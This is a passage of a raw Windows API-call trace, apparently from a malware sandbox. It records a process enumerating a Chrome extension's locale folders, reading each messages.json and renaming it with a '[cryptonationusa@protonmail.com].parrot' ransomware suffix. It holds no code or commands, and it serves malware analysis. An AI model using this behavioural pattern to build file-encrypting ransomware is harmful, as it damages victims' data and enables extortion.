ftLastWriteTime.dwLowDateTime=0xba2a5f20, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.967] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x835f0ef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835f0ef0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xba2a5f20, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x56b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0074.967] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\th\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.968] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0074.968] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835f5d10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835f8420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835f8420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.968] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0074.968] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0074.968] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x835f8420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835fab30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83997fe0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x4f64, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0074.969] LockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x507c, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.969] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0074.969] ReadFile (in: hFile=0x274, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0074.970] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.970] ReadFile (in: hFile=0x274, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x4f64, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x4f64, lpOverlapped=0x0) returned 1 [0074.973] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.975] UnlockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x507c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.975] CloseHandle (hObject=0x274) returned 1 [0074.975] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\th\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\th\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\th\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0074.979] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\th\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.980] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835f5d10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xba2cc080, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xba2cc080, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.980] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x835f8420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835fab30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xba2cc080, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x5088, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0074.980] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\tr\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.980] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0074.980] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835fd240, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835ff950, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835ff950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.980] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0074.980] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0074.980] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x835ff950, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83602060, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83997fe0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x404e, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0074.980] LockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4166, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.981] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0074.981] ReadFile (in: hFile=0x274, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0074.982] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.982] ReadFile (in: hFile=0x274, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x404e, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x404e, lpOverlapped=0x0) returned 1 [0074.985] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.986] UnlockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4166, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.986] CloseHandle (hObject=0x274) returned 1 [0074.986] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\tr\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\tr\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\tr\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0074.990] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\tr\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.991] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835fd240, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xba2cc080, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xba2cc080, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.991] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x835ff950, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83602060, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xba2cc080, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x4168, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0074.991] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\uk\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.991] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0074.991] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8360bca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8360e3b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8360e3b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.991] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0074.991] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0074.991] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8360e3b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83610ac0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83997fe0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x48f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0074.993] LockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4a09, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.993] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0074.993] ReadFile (in: hFile=0x274, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0074.994] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.995] ReadFile (in: hFile=0x274, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x48f1, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x48f1, lpOverlapped=0x0) returned 1 [0074.998] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.998] UnlockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4a09, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.998] CloseHandle (hObject=0x274) returned 1 [0074.999] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\uk\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\uk\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\uk\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0075.003] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\uk\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0075.003] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8360bca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xba2f21e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xba2f21e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.003] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8360e3b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83610ac0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xba2f21e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x4a18, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0075.003] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\vi\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0075.003] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0075.003] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x836158e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83617ff0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83617ff0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.003] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0075.003] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0075.004] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83617ff0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83617ff0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83997fe0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x426b, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0075.004] LockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4383, nNumberOfBytesToLockHigh=0x0) returned 1 [0075.004] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0075.004] ReadFile (in: hFile=0x274, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0075.005] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.005] ReadFile (in: hFile=0x274, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x426b, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x426b, lpOverlapped=0x0) returned 1 [0075.006] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0075.006] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0075.006] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0075.006] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0075.006] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0075.006] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x6a7fe8 [0075.007] GetLastError () returned 0x0 [0075.009] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.009] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0075.009] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0075.009] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0075.009] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0075.009] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0075.009] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0075.009] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0075.009] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0075.009] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0075.009] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0075.009] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0075.010] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0075.010] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0075.010] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0075.010] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0075.010] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d150 [0075.010] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0075.010] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0075.010] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0075.010] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7fd8 [0075.010] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0075.010] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0075.010] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7fd8 | out: hHeap=0x5b0000) returned 1 [0075.010] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240b88 [0075.010] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0075.010] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22405e8 [0075.010] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240b88 | out: hHeap=0x5b0000) returned 1 [0075.010] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3176070 [0075.010] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22405e8 | out: hHeap=0x5b0000) returned 1 [0075.010] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x5cff58 [0075.010] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176070 | out: hHeap=0x5b0000) returned 1 [0075.010] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x5d0140 [0075.010] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cff58 | out: hHeap=0x5b0000) returned 1 [0075.010] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x6a7fe8 [0075.010] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0140 | out: hHeap=0x5b0000) returned 1 [0075.010] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5cff58 [0075.010] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7fe8 | out: hHeap=0x5b0000) returned 1 [0075.010] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x6a7fe8 [0075.010] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cff58 | out: hHeap=0x5b0000) returned 1 [0075.010] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x6a8950 [0075.010] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7fe8 | out: hHeap=0x5b0000) returned 1 [0075.010] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x6a9768 [0075.010] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8950 | out: hHeap=0x5b0000) returned 1 [0075.010] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x6aaca8 [0075.011] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9768 | out: hHeap=0x5b0000) returned 1 [0075.011] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x6acc70 [0075.011] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6aaca8 | out: hHeap=0x5b0000) returned 1 [0075.011] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 